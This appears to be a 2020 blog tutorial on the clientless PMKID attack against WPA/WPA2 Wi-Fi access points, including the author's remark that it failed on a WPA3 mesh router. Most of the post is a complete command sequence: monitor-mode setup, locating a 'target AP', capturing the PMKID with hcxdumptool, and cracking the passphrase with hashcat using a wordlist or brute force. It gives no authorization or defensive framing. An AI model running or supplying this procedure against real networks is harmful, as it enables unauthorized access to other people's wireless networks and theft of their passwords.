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PMKID Attack on Wifi5 Access Point

The author of Hashcat (aka atom) finds a way to obtain the WPA/WP2-PSK (Pre-shared key) password from Wifi5 Access Points (APs) (with roaming feature) without client involved. That is 4-way handshake is no longer required - clientless.

However, this method does not work on TP-Link Deco X20 Mesh Wifi Router (Wifi6 with WPA3). All known attack methods (except Fake Access Point attack) have been tried on the Deco X20 but failed including PMKID attack and KR00K attack (CVE-2019-15126). KR00K attack fails as Deco X20 is using Qualcomm IPQ8070 chipset instead of Broadcom’s. KRACK was not tested as Support of TP-Link Deco Apps mentioned that Deco X20 is not vulnerable to this attack. I think PMKID attack cannot be working on Wifi6 with WPA3 for other brand names too.


The attack will be carry out on Kali Linux 2020.1a and you are required to install the following packages.

sudo apt install hcxtools hcxdumptool net-tools realtek-rtl88xxau-dkms

In order to get the mac address of the target Access Point (AP), you need to run the following commands. The following commands can detect channel from 1 to 200.

sudo airmon-ng check kill

sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor

sudo airodump-ng wlan0 --channel 1-200

The target AP should be Wifi5 with WPA/WPA2. Once you get the mac address of the target AP, you need to remove all the : from the address. For example, from 00:0a:95:9d:68:16 to 000a959d6816 and save to a file namely ap.txt.

To make sure the target AP is in the range of the attack. CTRL-c to quit.

sudo hcxdumptool -o ap.pcapng -i wlan0 --filterlist=ap.txt --filtermode=2 --do_rcascan -c 36

When every thing is ready, we can scan the PMKID now.

sudo hcxdumptool -o ap.pcapng -i wlan0 --filterlist=ap.txt --filtermode=2 --enable_status=3 -c 36

When you see [FOUND PMKID] or/and [FOUND PMKID CLIENT-LESS], you can quit it with CTRL-c.

To obtain the PMKID from ap.pcapng.

sudo hcxpcaptool -z hashtocrack ap.pcapng

To crack the hashtocrack with hashcat by using dictionary.

sudo hashcat -m 16800 hashtocrack /usr/share/wordlist/rockyou.txt

or by using brute forcing.

sudo hashcat -m 16800 hashtocrack -a 3 -w 3 '?l?l?l?l?l?l?l?l'

When it is cracked, you can show the result by using the following command.

sudo hashcat -m 16800 hashtocrack /usr/share/wordlist/rockyou.txt --show



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March 22, 2020, Hong Kong, China

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